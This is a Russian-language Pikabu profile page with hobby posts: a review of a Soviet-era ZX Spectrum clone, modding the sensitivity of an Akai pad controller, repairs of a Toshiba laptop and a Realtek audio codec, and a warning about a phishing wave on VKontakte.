Kekovsky

Kekovsky

пикабушник
Делаю что-то. Родом с села.
10К рейтинг 411 подписчиков 366 комментариев 24 поста 15 в "горячем"
379

Обзор ретро-компьютера "Парус ВИ-201" (Spectrum 48K)

Всем привет! Однажды на одной из пыльных полок в гараже было обнаружено нечто, отдалённо напоминающее электронно-вычислительную машину: "Видеоигровое устройство Парус ВИ-201". Этот компьютер представляет собой типовой клон ZX Spectrum 48K выпуска 1994 года. Интересен этот компьютер также тем, что в тяжёлое время перестройки рабочим завода "СПЗ Парус" г. Севастополя отдали эти компьютеры вместо зарплаты, т.к. завод активно растаскивался и вывозился в процессе закрытия из-за кризиса и отсутствия финансирования со стороны государства. Производить же что-то частным образом там оказалось никому не выгодно. В тот год людям, которым завод был должен зарплату, выдавались такие компьютеры, всякая мелочёвка по типу провода МГТФ и конденсаторов КМ-ок, картофель, топливо, а многие рабочие тогда просто ничего не получили. Многие из них, кого мы знали лично, в то время психологически не пережили этот момент и к настоящему моменту уже спились и ушли в мир иной, т.к. под другую работу кроме завода, как оказалось, они не были заточены. Этот компьютер также был найден у бывшего инженера. К счастью, с ним всё в порядке, а вот его "зарплата" пролежала без дела почти 25 лет, и служит напоминанием о тех жестоких временах. Перейдём к обзору компьютера.

Поставляется он в картонной коробке:

Обзор ретро-компьютера "Парус ВИ-201" (Spectrum 48K) Ретро компьютер, Эвм, СССР, Zx Spectrum, Длиннопост

Этикетка поближе (уже деградировала краска, едва можно разобрать, что там написано):

Обзор ретро-компьютера "Парус ВИ-201" (Spectrum 48K) Ретро компьютер, Эвм, СССР, Zx Spectrum, Длиннопост

В коробке находятся ещё 4 коробочки: в одной лежит блок питания, в другой манипулятор (джойстик), одна коробка для периферии (шнуров), сам компьютер в коробке. Помимо этого там находятся две книжечки. Изначально каждая деталь также была упакована и запаяна в полиэтиленовую плёнку.

Обзор ретро-компьютера "Парус ВИ-201" (Spectrum 48K) Ретро компьютер, Эвм, СССР, Zx Spectrum, Длиннопост

Итак, начнём с блока питания. Вот такой блочок - ничего необычного: разъем для сетевого шнура, выход на DIN, индикаторный светодиод. Заявленное напряжение 5В и ток 1,3А (сравните по габаритам с современными з/у для планшетов). Наощупь весит примерно 400 грамм.

Обзор ретро-компьютера "Парус ВИ-201" (Spectrum 48K) Ретро компьютер, Эвм, СССР, Zx Spectrum, Длиннопост

Манипулятор - также диновский разъем, дополнительная кнопка на корпусе, этикеткой заклеено технологическое отверстие в корпусе. На днище присоски - всё по стандарту.

Обзор ретро-компьютера "Парус ВИ-201" (Spectrum 48K) Ретро компьютер, Эвм, СССР, Zx Spectrum, Длиннопост

В коробке помимо этого лежали вот такие кассеты с играми, судя по всему, добавленные туда позже уже в процессе пользования (но все датированы 1994-1995 годом)

Обзор ретро-компьютера "Парус ВИ-201" (Spectrum 48K) Ретро компьютер, Эвм, СССР, Zx Spectrum, Длиннопост

И, наконец, сам компьютер: упакован в полиэтилен и в коробку, и две инструкции рядом с ним.

Обзор ретро-компьютера "Парус ВИ-201" (Spectrum 48K) Ретро компьютер, Эвм, СССР, Zx Spectrum, Длиннопост

Он же чуть поближе:

Обзор ретро-компьютера "Парус ВИ-201" (Spectrum 48K) Ретро компьютер, Эвм, СССР, Zx Spectrum, Длиннопост

И фото с торца: слева - выход модулятора, затем идут разъемы манипулятора, магнитофона, компонентного видеовыхода (для цветных телевизоров), кнопка RESET, системный разъем и разъем для питания 5В.

Обзор ретро-компьютера "Парус ВИ-201" (Spectrum 48K) Ретро компьютер, Эвм, СССР, Zx Spectrum, Длиннопост

В одной из инструкций содержится небольшой учебник по программированию на бейсике, в другой - сервисная документация и особенности аппарата.

Обзор ретро-компьютера "Парус ВИ-201" (Spectrum 48K) Ретро компьютер, Эвм, СССР, Zx Spectrum, Длиннопост

Учебник весьма понятный, но опять же - человеку, который с этим давно знаком. Из тех рабочих, которым выдавались компьютеры, по этой книжечке практически никто толком разобрать и выучить ничего не смог - интернета, чтобы посоветоваться и поискать примеры тогда ещё не было, а когда какой-то момент оказывался непонятен - взять дополнительную информацию было действительно негде.

Обзор ретро-компьютера "Парус ВИ-201" (Spectrum 48K) Ретро компьютер, Эвм, СССР, Zx Spectrum, Длиннопост

В маленькой книжечке описывается комплект поставки, причём весьма дотошно, вплоть до количества этикеток на приборах.

Обзор ретро-компьютера "Парус ВИ-201" (Spectrum 48K) Ретро компьютер, Эвм, СССР, Zx Spectrum, Длиннопост

Из книжки выпала вот такая записка:

Обзор ретро-компьютера "Парус ВИ-201" (Spectrum 48K) Ретро компьютер, Эвм, СССР, Zx Spectrum, Длиннопост

Т.е. судя по всему, уже прошитые ПЗУ-шки поставлялись на завод, а конкретно этот компьютер был из поздних партий, поэтому туда было зашито ПО от чехословацких продуктов Didaktik. По заверению завода "в связи с применением в устройстве более качественной микросхемы ПЗУ". Там же находится гарантийный талон, с адресом уже несуществующего завода, развалины которого за эти годы были настолько облюбованы местными бомжами и школьниками, что сейчас уже вообще никому не представляют интереса. Хотя до сих пор в их окрестностях иногда можно найти осколки старых непаяных плат, какие-то детали, обрывки документов и т.п.

Обзор ретро-компьютера "Парус ВИ-201" (Spectrum 48K) Ретро компьютер, Эвм, СССР, Zx Spectrum, Длиннопост

Теперь перенесёмся на операционный стол, и заглянем во внутренности блока питания:

Обзор ретро-компьютера "Парус ВИ-201" (Spectrum 48K) Ретро компьютер, Эвм, СССР, Zx Spectrum, Длиннопост

Внутри неплохой тороидальный трансформатор, выпрямительные диоды, несколько конденсаторов и КРЕНка на 5 Вольт. Само собой также светодиод, который уже еле-еле светит. Блок питания при работе практически не шумит, но немного греется из-за работы кренки. Три электролита К50-35 общей ёмкостью в 5400 мкФ включены в параллель до неё и один на 2200 мкФ после. Под некоторыми из них уже видны следы утечки электролита, поэтому заменил их и закрыл прибор.

Обзор ретро-компьютера "Парус ВИ-201" (Spectrum 48K) Ретро компьютер, Эвм, СССР, Zx Spectrum, Длиннопост

Далее посмотрим сам компьютер, в нём тоже понадобилось заменить несколько электролитов, т.к. выходной сигнал при проверке был нестабилен. Вот, что находится внутри:

Обзор ретро-компьютера "Парус ВИ-201" (Spectrum 48K) Ретро компьютер, Эвм, СССР, Zx Spectrum, Длиннопост

Всё стандартно: процессор - клон Z80. На месте оперативка, логика, все конденсаторы (но уже жёлтые, а не зелёные). Справа прикручен телевизионный модулятор. А слева виден какой-то дичайший колхоз на месте второго ПЗУ: микросхема приклеена на эпоксидку, и распаяна кучей проводов МГТФ в различные точки платы. Если бы это был какой-то кустарный моддинг - это ещё допустимо, но прибор был с заводской пломбой т.е. в таком виде и планировалось продавать. Или не планировалось.

Обзор ретро-компьютера "Парус ВИ-201" (Spectrum 48K) Ретро компьютер, Эвм, СССР, Zx Spectrum, Длиннопост

Обратная сторона платы:

Обзор ретро-компьютера "Парус ВИ-201" (Spectrum 48K) Ретро компьютер, Эвм, СССР, Zx Spectrum, Длиннопост

Поменял те немногие электролиты, что там были, и закрыл прибор.

Обзор ретро-компьютера "Парус ВИ-201" (Spectrum 48K) Ретро компьютер, Эвм, СССР, Zx Spectrum, Длиннопост

Хотел ещё снять обзор и запустить на нём что-то, но оказалось, что мне абсолютно не на чем его проверить - так как я профессионально не занимаюсь спектрумами и нету соответствующего оборудования/переходников. Современный телевизор с электронным тюнером отказался видеть какой-либо сигнал с него. ТВ-тюнер компьютера также никакого сигнала не уловил. Возможно, неисправность тюнера, возможно не совместим стандарт кодирования. Единственное, что удалось найти - маленький ЭЛТ телевизор с аналоговым декодированием. Поймал на нём стабильную картинку с компьютера ближе к 6 каналу метрового диапазона (примерно на 170 МГц).

Обзор ретро-компьютера "Парус ВИ-201" (Spectrum 48K) Ретро компьютер, Эвм, СССР, Zx Spectrum, Длиннопост

Видно надпись, о которой мы уже читали в инструкции - Didaktik scalica, 1989 год. Также проверил его работоспособность, выполнив на нём несколько простых команд по сложению (PRINT 10+5) и т.д. - всё прекрасно выполняется. Если кого-то заинтересует, могу потом найти переходник с джека на DIN в магнитофонный разъем, и поискать подходящий телевизор. Но я не думаю, что исполнение программ на нём радикально отличается от сотен аналогов, обзоры на которые можно найти в интернете. В общем, пишите в комменты если нужна вторая часть, а пока компьютер отправляется обратно на антресоли. Всем спасибо за внимание, с вами был Kekovsky.

Показать полностью 20
23

Ремонт пэд-контроллера Akai. Настройка чувствительности.

Всем привет! Не так давно я задался целью приобрести себе портативный пэд-контроллер для работы в студии. И как раз в этот период подвернулся человек, который продавал с рук за треть цены такой контроллер - Akai MPD18. При проверке особых проблем с ним я не обнаружил, но мне сразу не очень понравилась его чувствительность, и я взял его с мыслью потом что-нибудь подшаманить. Но потом я привык, и этот вопрос отпал. Однако, после нескольких месяцев пользования, я обнаружил, что не все пэды имеют одинаковую чувствительность, что вызывало дискомфорт при работе: нижние пэды (видимо, они чаще задействовались, чем верхние) реагируют на нажатия хуже, чем верхние. И если к верхним достаточно было прикоснуться, то нижние нужно было прямо "пробивать". Поэтому я решил залезть внутрь и посмотреть, что можно сделать. Никаких руководств по этой теме в интернете я не нашел - только одно видео, где под пэды наклеивали резину - но результат меня не удовлетворил, поэтому я занялся вопросом самостоятельно. Я опишу способ для MPD18, но в теории он может подойти и для MPD24, MPD32, MPD218 и других из той же серии. Вам понадобится крестовая отвертка типа PH02 и набор для пайки, а также несколько SMD резисторов и конденсаторов (рекомендую найти плату от DVD или от чего-то, где их много и можно спаять).
Внимание! Данное руководство не является официальным. Все свои действия вы делаете на свой страх и риск. При ошибке можно повредить уникальный дорогостоящий контроллер, и ответ за это держите только вы.
И так, разберём контроллер.

1. Для начала разборки нужно снять фейдер, сделать это можно, взяв его указательным и большим пальцами с упором в корпус и аккуратно потянуть на себя.

Ремонт пэд-контроллера Akai. Настройка чувствительности. Ремонт, Аппаратура, Очумелые ручки, Музыкальные инструменты, Длиннопост

2. Открутить шурупчики по периметру

Ремонт пэд-контроллера Akai. Настройка чувствительности. Ремонт, Аппаратура, Очумелые ручки, Музыкальные инструменты, Длиннопост

3. Аккуратно потянуть корпус на себя со стороны, противоположной той где находится USB разъем и снять кожух.

Ремонт пэд-контроллера Akai. Настройка чувствительности. Ремонт, Аппаратура, Очумелые ручки, Музыкальные инструменты, Длиннопост

4. Снять резиновую накладку. Открутить все шурупы (на фото не все).

Ремонт пэд-контроллера Akai. Настройка чувствительности. Ремонт, Аппаратура, Очумелые ручки, Музыкальные инструменты, Длиннопост

5. Аккуратно приподнять сверху стальную пластину, отключить шлейф.

Ремонт пэд-контроллера Akai. Настройка чувствительности. Ремонт, Аппаратура, Очумелые ручки, Музыкальные инструменты, Длиннопост

6. Открутить оставшиеся шурупы и извлечь плату из корпуса.

Ремонт пэд-контроллера Akai. Настройка чувствительности. Ремонт, Аппаратура, Очумелые ручки, Музыкальные инструменты, Длиннопост

Теперь, для того, чтобы сделать модификацию, вам понадобится паяльник и несколько SMD резисторов. Нужно найти микросхему LMV324M (находится она недалеко от транзисторов и разъема шлейфа). Эта микросхема представляет собой четверной Rail-to-rail низковольный операционный усилитель с однополярным питанием.
Модификация №1. Для того, чтобы увеличить чувствительность группы (строки) из 4 пэдов, нужно увеличить номинал резисторов, которые я обозначил на картинке.

Ремонт пэд-контроллера Akai. Настройка чувствительности. Ремонт, Аппаратура, Очумелые ручки, Музыкальные инструменты, Длиннопост

Теперь объясняю, как это работает: вот распиновка микросхемы-ОУ: 1-3 ОУ1 (отвечает за 1-4 пэды, если считать слева-направо и сверху-вниз). 5-7 отвечает за 5-8 пэды, 8-11 за 9-12 пэды и 12-14 за 12-16 пэды.

Ремонт пэд-контроллера Akai. Настройка чувствительности. Ремонт, Аппаратура, Очумелые ручки, Музыкальные инструменты, Длиннопост

На плате данная микросхема включена в каскад по принципу неинвертирующего усилителя. Нам нужно поправить обратную связь. Подробнее об этом вы можете почитать на сайте автора картинки (видно на ней, если что). Вот его схема:

Ремонт пэд-контроллера Akai. Настройка чувствительности. Ремонт, Аппаратура, Очумелые ручки, Музыкальные инструменты, Длиннопост

Здесь же указана формула расчета для участка. В нашем случае для всех четырёх ОУ R2 = 27K и R1 = 10K. Соответственно, коэффициент усиления установлен на уровне 3,7. Нам необходимо поднять его. Сделать это можно либо увеличив R2, либо уменьшив R1, изменив тем самым параметры делителя на инвертирующем входе. Но уменьшать R1 я не рекомендую, так как уменьшение сопротивления всегда ведёт за собой возрастание тока утечки и сопутствующие потери, а здесь нам важен полезный сигнал, а не ток (т.к. вход ОУ имеет полевики и всё равно на ток не реагирует). Поэтому я заменил R2 на 100K, установив тем самым коэффициент усиления на уровне 11. Для других пэдов, которые изначально были более чувствительны, я установил резистор в 56K и, тем самым, выровнял их чувствительность.

Модификация №2. Для регулировки чувствительности отдельного пэда необходимо параллельно ему (между референсной линией и его выходной линией) включить в схему керамический низковольтный конденсатор относительно большой ёмкости. Мне хватило ёмкости в 68-100нФ. Более маленькая ёмкость эффекта не окажет, а большая дестабилизирует её работу.

Как это работает: каждый пэд, как было выяснено в результате опытов, представляет собой электретный конденсатор. Его ёмкость варьируется от 30пФ в открытом виде до 15000 пФ при максимальном нажиме. Емкость изменяется ввиду деформации пластин механическим воздействием и изменения расстояния между ними. При этом сам прибор ёмкость не меряет, а  регистирует изменение тока утечки через конденсатор.

Ремонт пэд-контроллера Akai. Настройка чувствительности. Ремонт, Аппаратура, Очумелые ручки, Музыкальные инструменты, Длиннопост

Таким образом, параллельное включение шунтирующей ёмкости уменьшает общее реактивное сопротивление узла, вследствие чего общий относительный уровень выходного сигнала повышается (данное выражение справедливо только для этой схемы, не факт, что сработает на других). Выход узла в дальнейшем идёт на гейт из полевых транзисторов (вы можете увидеть их на фото, их там 8 шт), которые и выдают нужный сигнал, ведущий к ОУ. Таким образом, если один из пэдов у вас угроблен сильнее других то для того, чтобы поправить его, нужно найти референсную линию, ведущую к нему на шлейфе (всего их там четыре, на всех напряжение 0,8В) и найти выходную линию, которая приходит на ножку полевого транзистора, соответствующего ему. И между ними допаять конденсатор. При таком включении увеличивается риск фантомных нажатий и падает быстродействие схемы. Поэтому я не стал оставлять эту модификацию себе, а ограничился лишь заменой резисторов около ОУ.
Сборку корпуса пульта выполнять в обратном порядке.
Спасибо за внимание, с вами был Kekovsky.

Показать полностью 9
54

Внимание! Очередная волна фишинга "ВКонтакте".

Друзья! Вчера мне (а может и не только мне) начали приходить вот такие сообщения от людей, малознакомых и даже от родственников. Мне пришло порядком подобных сообщений (4 сообщения из 270 друзей) Содержание их такое: "помогите проголосовать", "смотрите, какой крутой сайт" и т.п.В основном, сообщения приходят со страниц детей (они же более доверчивы), но, при этом, от людей в возрасте также приходит.

Внимание! Очередная волна фишинга "ВКонтакте". Вконтакте, Взлом, Взлом вк, Мошенники, Длиннопост, Фишинг
Внимание! Очередная волна фишинга "ВКонтакте". Вконтакте, Взлом, Взлом вк, Мошенники, Длиннопост, Фишинг
Внимание! Очередная волна фишинга "ВКонтакте". Вконтакте, Взлом, Взлом вк, Мошенники, Длиннопост, Фишинг

Способ давно известный, но сейчас пошла прямо "эпидемия". Видимо, кто-то крупно запустил эту ловушку со многих страниц. Домены каждый раз меняются, но все они ведут в итоге на один домен:

Внимание! Очередная волна фишинга "ВКонтакте". Вконтакте, Взлом, Взлом вк, Мошенники, Длиннопост, Фишинг

При попытке "проголосовать" выскакивает фишинговое окно:

Внимание! Очередная волна фишинга "ВКонтакте". Вконтакте, Взлом, Взлом вк, Мошенники, Длиннопост, Фишинг

В основном, сообщения приходят со страниц детей (они же более доверчивы, но при этом от людей в возрасте также приходит). Домен, как видно в адресной строке, совершенно другой.
Предупредите своих близких, друзей и детей, чтобы не вводили пароли на посторонних фишинговых сайтах!
Потом взломщики смогут просить от вашего имени деньги у знакомых, рассылать оскорбления, узнавать личную информацию и т.д.
Администрация сервиса борется с проблемой, но автоматика работает не очень оперативно. Мне пришло уведомление через сутки после перехода:

Внимание! Очередная волна фишинга "ВКонтакте". Вконтакте, Взлом, Взлом вк, Мошенники, Длиннопост, Фишинг

Будьте внимательны и следите за своей сетевой безопасностью!
Извиняюсь, если новость - баян. Не удивлюсь, если через пару дней о ней будут писать везде. Т.к. уже увели относительно крупный процент страниц. Это один из последних крупных взломов за последние годы, где используется не уязвимость платформы, а именно социальная инженерия. С вами был Kekovsky.

Показать полностью 4
217

Ремонт старого ноутбука Toshiba Satellite L300. Выключается при старте Windows.

Всем привет! Представленные ниже фото сделаны мной в 2017 году, хотел ещё тогда выложить этот небольшой ремонт, но почему-то он затерялся. Данный ремонт уже бывал на пикабу, даже сам gepka недавно выкладывал похожий пост, но здесь я рассказываю о своей проблеме и её решении, возникшей конкретно у меня при ремонте Satellite L300 - решения её в интернете я не нашел, люди с форумов разводили руками, и почему иногда полезно бывает ставить б/у детали вместо новых. Сам способ подходит для восстановления многих старых ноутбуков, выпущенных до 2010 года, таких как Toshiba L300/L350; A300; Samsung R410 и других. Суть поломки такова: при запуске Windows 7, после появления загрузочного окна "Запуск Windows", после очередного отключения экрана в процессе загрузки пропадает полностью питание и отключается кулер. Если включить повторно, то процесс загрузки начнётся заново. В результате ноутбуком пользоваться невозможно.

Ремонт старого ноутбука Toshiba Satellite L300. Выключается при старте Windows. Ремонт, Баян, Сообщество ремонтеров, Ремонт техники, Конденсатор, Длиннопост

Проблема заключается не в программной части, как многие думают сразу. Некоторые пытаются ставить на такой битый ноут Windows XP, в надежде, что он потянет его. И он тянет - но только в безопасном режиме и вновь, когда включается улучшенная графика, пропадает питание и всё. Я пробовал также запускать с флешки KolibriOS, но работала она всё равно с перебоями. Значит, проблема заключается именно в аппаратной части. Вот такой большой танталовый конденсатор устанавливается по линии питания процессора. Он сглаживает пульсации тактового преобразователя и предназначен для поддержания рабочего напряжения от просадок в периоды пульсирующей пиковой нагрузки (в основном, когда переключаются фазы питания). Ремонт заключается в его замене, однако, и тут оказались свои нюансы.
Ёмкость конденсатора, установленного на вашей плате, пишется на корпусе. Она соответствует рейтинговому листу от разработчика:

Ремонт старого ноутбука Toshiba Satellite L300. Выключается при старте Windows. Ремонт, Баян, Сообщество ремонтеров, Ремонт техники, Конденсатор, Длиннопост

Т.е. мой конденсатор E907 имеет ёмкость в 900 мкФ. Если поставить меньше - пульсации будут сглаживаться плохо. По народному опыту можно ставить минимальную ёмкость в 600 мкФ. Более 1500 мкФ ставить не следует. Для начала я сколол корпус микросхемы:

Ремонт старого ноутбука Toshiba Satellite L300. Выключается при старте Windows. Ремонт, Баян, Сообщество ремонтеров, Ремонт техники, Конденсатор, Длиннопост

Как мы видим, изначальное нутро конденсатора уже окислилось с краю, что и привело к потере ёмкости. Саму пластину и боковые электроды тоже нужно сколоть. Именно сколоть при помощи ножа - выпаивать его не следует, т.к. для того, чтобы пятаки припоя под ним начали плавиться, нужна высокая температура, что может привести к отвалу некоторых ножек в сокете, находящемся прямиком с другой стороны платы (хотя это происходит очень редко). Сам конденсатор представляет собой стекловидную массу, которая разламывается послойно как слюда. Я обклеил вокруг скотчем, чтобы в случае соскакивания ножа и кусачек была меньше вероятность что-то поцарапать. Затем.ю для проверки работоспособности системы я набрал твердотельных конденсаторов с материнки (взяты из линий питания процессора, поэтому я подумал, что они подойдут), суммарной ёмкостью около 800 мкФ, и поставил их согласно распиновке.

Ремонт старого ноутбука Toshiba Satellite L300. Выключается при старте Windows. Ремонт, Баян, Сообщество ремонтеров, Ремонт техники, Конденсатор, Длиннопост

Но оно не заработало. Я подумал, что дело именно в конденсаторах - мало ли, не подходят. Пошел в магазин, и купил там 6 штук подходящих желтых танталовых конденсаторов, выглядевших вот так:

Ремонт старого ноутбука Toshiba Satellite L300. Выключается при старте Windows. Ремонт, Баян, Сообщество ремонтеров, Ремонт техники, Конденсатор, Длиннопост

И поставил их на плату. Суммарная ёмкость должна была быть около 900 мкФ. И каково же было моё удивление, когда плата не заработала. Перепаяв их несколько раз я понял, что дело безнадёжно и уже думал сдаться и пустить ноут на органы. Я думал, что дело в плохой пропайке пятаков, либо убил сокет паяльником, либо сжег что-то статикой. У меня ушла почти неделя на решение проблемы - но я понял, в чём причина. Поставив такие же конденсаторы, но с одной из Б/У ноутбучных плат, внезапно у меня всё завелось и стало работать как надо. Вот так выглядит конечный вариант:

Ремонт старого ноутбука Toshiba Satellite L300. Выключается при старте Windows. Ремонт, Баян, Сообщество ремонтеров, Ремонт техники, Конденсатор, Длиннопост

Всё дело оказалось в показателе ESR, разные конденсаторы при той же ёмкости и рабочем напряжении имеют различный ESR, который тоже указан на картинке от производителя. ESR моего конденсатора должен быть в районе 1,5 МОм на частоте 100 КГц. У моих же жёлтых он был в районе 120 КОм, что давало просадку на преобразователе, в результате которой конденсаторы свою функцию не выполняли. Также я заметил, что сами конденсаторы при подключенном питании слегка нагревались, а вот радиатор процессора не грелся нисколько (процессор, собственно говоря, и не работал)

Ремонт старого ноутбука Toshiba Satellite L300. Выключается при старте Windows. Ремонт, Баян, Сообщество ремонтеров, Ремонт техники, Конденсатор, Длиннопост

Таким образом оказалось, что мастера, которые изначально из экономии ставили на плату б/у конденсаторы с других убитых плат не сталкивались с теми проблемами, с которыми столкнулся я при использовании новых покупных конденсаторов (хотя многие утверждают, что новое и покупное всегда лучше).
Может быть эта мелочь поможет кому-нибудь отремонтировать или отреставрировать для музея свой ноутбук. Всем спасибо за внимание, с вами был Kekovsky, специально для pikabu.

Показать полностью 6
330

Замена Realtek ALC268 на ALC269. Исчерпывающее руководство по ремонту 2x2 ноутбучных кодеков Realtek.

Всем привет! Хочу рассказать и расписать вам информацию об одном ремонте. Скажу сразу: я делал для себя, и это было достаточно интересным опытом. Может быть кому-то это поможет недорого и при отсутствии запчастей отремонтировать ноутбук.

Замена Realtek ALC268 на ALC269. Исчерпывающее руководство по ремонту 2x2 ноутбучных кодеков Realtek. Ремонт техники, Realtek, Ремонт звуковой карты, Очумелые ручки, Маразм, Длиннопост

Итак, однажды, когда я подключил к своему ноутбуку микрофон (на передней панели два разъема - стерео выход на наушники и стерео вход микрофона), моя звуковуха просто перестала подавать признаки жизни. Как это произошло: сначала в наушниках возник странный шум (похожий на гул) на одну секунду, а затем звук просто пропал. И больше не возвращался. Понятное дело, что перестановка драйверов и иное шаманство было бы в этом случае бесполезным. Ясно одно - кодек нужно было менять. В процессе изучения схемотехники Realtek я предположил причину, по которой это могло произойти.

Я узнал, что в моём ноутбуке стоит аудиокодек 2+2 Realtek ALC268 2006 года разработки. Да, не удивляйтесь, ноутбуку на данный момент уже почти 13 лет, но со своими задачами до этого момента он справлялся прекрасно. Стоимость вылетевшей микросхемы - примерно 200 деревянных, найти можно на донорах, старых нотбуках и т.п. - феном снял, поставил и будет счастье. Но что-то подвигло меня на этот эксперимент, результаты которого были достаточно своеобразны. Я нашел убитую донорскую плату с похожим чипом Realtek 269 произведенным в 2009 году. И захотелось сделать апгрейд. На одном из форумов меня заверили, что в принципе они совместимы по распиновке, но не тут то было.. Обо всём по порядку: сперва я нашел даташиты на эти приборы и посмотрел распиновки. Вот они: Realtek ALC268

Замена Realtek ALC268 на ALC269. Исчерпывающее руководство по ремонту 2x2 ноутбучных кодеков Realtek. Ремонт техники, Realtek, Ремонт звуковой карты, Очумелые ручки, Маразм, Длиннопост

И устанавливаемый ALC269:

Замена Realtek ALC268 на ALC269. Исчерпывающее руководство по ремонту 2x2 ноутбучных кодеков Realtek. Ремонт техники, Realtek, Ремонт звуковой карты, Очумелые ручки, Маразм, Длиннопост

Как видим, в принципе эти микросхемы действительно похожи. Логическая часть точно такая же. Но главное отличие заключается в наличии внутри микросхемы собственного усилителя класса D. Его пины (SPKL,SPKR,PGND,PVDD) видно на левой части ALC269. На Realtek 268 же был только линейный выход, а усиление осуществлялось отдельной микросхемой, как я узнал позже. Соответственно, оригинальные выходные пины с микросхемы были куда-то перенесены или выпилены. При этом логическая часть (низ) осталась практически нетронутой Я проанализировал оба даташита и зеленым отметил те пины, назначение которых не изменилось.
Т.е. как видно, компьютерная часть и выходы остались на тех же местах. Но в целом за 3 года прогресса Realtek'а кое-что изменилось: расчищены выводы левой части под усилитель (практически все они были не задействованы), расчищены выводы верхнего левого угла для установки референсных конденсаторов (определяют уровень напряжения в системах). JDREF перекочевал на правую сторону, выходы для наушников HPOUT-L и HPOUT-R перекочевали наверх, убраны некоторые GPIO выводы и убран один выход (по схемотехнике теперь он подключен напрямую ко входу внутреннего усилителя). Добавлен логический вывод PD# для контроля электропитания. Итак, проанализировав все изменения, я сдул старую микросхему и сделал соответствующие на плате при помощи перемычек (здесь пока ещё не распаян усилитель, хотел проверить совместимость хотя бы логической части):

Замена Realtek ALC268 на ALC269. Исчерпывающее руководство по ремонту 2x2 ноутбучных кодеков Realtek. Ремонт техники, Realtek, Ремонт звуковой карты, Очумелые ручки, Маразм, Длиннопост

Затем очистил от флюса и закрепил паяльной маской:

Замена Realtek ALC268 на ALC269. Исчерпывающее руководство по ремонту 2x2 ноутбучных кодеков Realtek. Ремонт техники, Realtek, Ремонт звуковой карты, Очумелые ручки, Маразм, Длиннопост
Замена Realtek ALC268 на ALC269. Исчерпывающее руководство по ремонту 2x2 ноутбучных кодеков Realtek. Ремонт техники, Realtek, Ремонт звуковой карты, Очумелые ручки, Маразм, Длиннопост

После этого посадил туда микросхему из предыдущего моего поста.

Замена Realtek ALC268 на ALC269. Исчерпывающее руководство по ремонту 2x2 ноутбучных кодеков Realtek. Ремонт техники, Realtek, Ремонт звуковой карты, Очумелые ручки, Маразм, Длиннопост

После чего начал это дело тестировать. Начался третий этап, не менее сложный - траблшутинг полученной конструкции. Итак, я включил прибор. Кодек определился:

Замена Realtek ALC268 на ALC269. Исчерпывающее руководство по ремонту 2x2 ноутбучных кодеков Realtek. Ремонт техники, Realtek, Ремонт звуковой карты, Очумелые ручки, Маразм, Длиннопост

Часть 3.1. Разбираемся с выходом. Однако, звука ни в наушниках, ни в динамиках не обнаружилось. Первый косяк. Я измерил осциллографом выходной уровень с разъема JACK (HPOUT) для наушников, и выяснилось, что звук то на самом деле есть, но его уровень сигнала не превышает 5 милливольт при линейном подключении, а при нагрузке вообще уходит в ноль. Я начал смотреть плату и определил, что весь сигнал с ALC268 изначально поступал в микросхему-усилитель AN12947 с другой стороны платы, на которую я сразу не обратил внимания. Вот она (когда-то пропаивали там крутилку, поэтому столько канифоли осталось):

Замена Realtek ALC268 на ALC269. Исчерпывающее руководство по ремонту 2x2 ноутбучных кодеков Realtek. Ремонт техники, Realtek, Ремонт звуковой карты, Очумелые ручки, Маразм, Длиннопост

Я нашел даташит на неё (модель чуть другая - AN12948A, но распиновка почти такая же):

Замена Realtek ALC268 на ALC269. Исчерпывающее руководство по ремонту 2x2 ноутбучных кодеков Realtek. Ремонт техники, Realtek, Ремонт звуковой карты, Очумелые ручки, Маразм, Длиннопост

После чего спаял выходные резисторы на 68 Ом чтобы избежать шунтирования и подключил выход напрямую к наушникам:

Замена Realtek ALC268 на ALC269. Исчерпывающее руководство по ремонту 2x2 ноутбучных кодеков Realtek. Ремонт техники, Realtek, Ремонт звуковой карты, Очумелые ручки, Маразм, Длиннопост

Но это также не увенчалось успехом. Сигнал исчез совсем. Я проверил ещё раз всю пайку, свои возможные косяки, драйверы на звук, но всё было идеально. Видимо, угрел кодек при пайке, либо он изначально был дефектным. Но звук ведь был! Эта мысль не давала мне покоя. Я открыл даташит ещё раз и нашел блок-схему кодека:

Замена Realtek ALC268 на ALC269. Исчерпывающее руководство по ремонту 2x2 ноутбучных кодеков Realtek. Ремонт техники, Realtek, Ремонт звуковой карты, Очумелые ручки, Маразм, Длиннопост

Здесь видно, что из цифровой части сигнал переходит в ЦАП (DAC), а затем он же выходит на HP-OUT (Port A) и динамики SPK-OUT (Port-D). Значит сигнал на ЦАПе формируется, но проблема заключается в его выходе на наушники (узел O или Cap-Free Amp). Поэтому было решено распаять встроенный мостовой усилитель, куда также приходит выход с ЦАПа и посмотреть, что получится. Питание +5V кинул на ту же линию, от которой питается микросхема. Добавил рядом два конденсатора (видно в правом верхнем углу). Минус на землю, выводы от мостового усилителя отвёл.

Замена Realtek ALC268 на ALC269. Исчерпывающее руководство по ремонту 2x2 ноутбучных кодеков Realtek. Ремонт техники, Realtek, Ремонт звуковой карты, Очумелые ручки, Маразм, Длиннопост

Сделал всё как по схеме, выводы налепил на неиспользуемые контакты от нераспаянного слота Mini-PCI. Между делом сыграл партейку в синтезатор:

Замена Realtek ALC268 на ALC269. Исчерпывающее руководство по ремонту 2x2 ноутбучных кодеков Realtek. Ремонт техники, Realtek, Ремонт звуковой карты, Очумелые ручки, Маразм, Длиннопост

Я померил осциллографом сигнал с выхода усилителя и о чудо! Он был. На уровне 2,7 В. Тогда я обрезал выходные пятаки оригинального усилителя и подпаялся к динамикам. Вот, как это выглядело с другой стороны. Получилась такая кишка, но по моим подсчетам весь ток должна выдержать. Она под маской:

Замена Realtek ALC268 на ALC269. Исчерпывающее руководство по ремонту 2x2 ноутбучных кодеков Realtek. Ремонт техники, Realtek, Ремонт звуковой карты, Очумелые ручки, Маразм, Длиннопост

После этого, само собой, звук в динамиках появился. Стерео. Оставалась ещё одна проблема - как вывести наушники? ЦАП работает, динамики играют, но оба выхода для наушников убиты. А отступать было уже нельзя. С горя я обратил внимание на ещё один резервный выход на блок-схеме. Изначально он висел на воздухе (не распаян). Дальше пойдёт только теория, т.к. делать фотки сил уже не было:

Замена Realtek ALC268 на ALC269. Исчерпывающее руководство по ремонту 2x2 ноутбучных кодеков Realtek. Ремонт техники, Realtek, Ремонт звуковой карты, Очумелые ручки, Маразм, Длиннопост

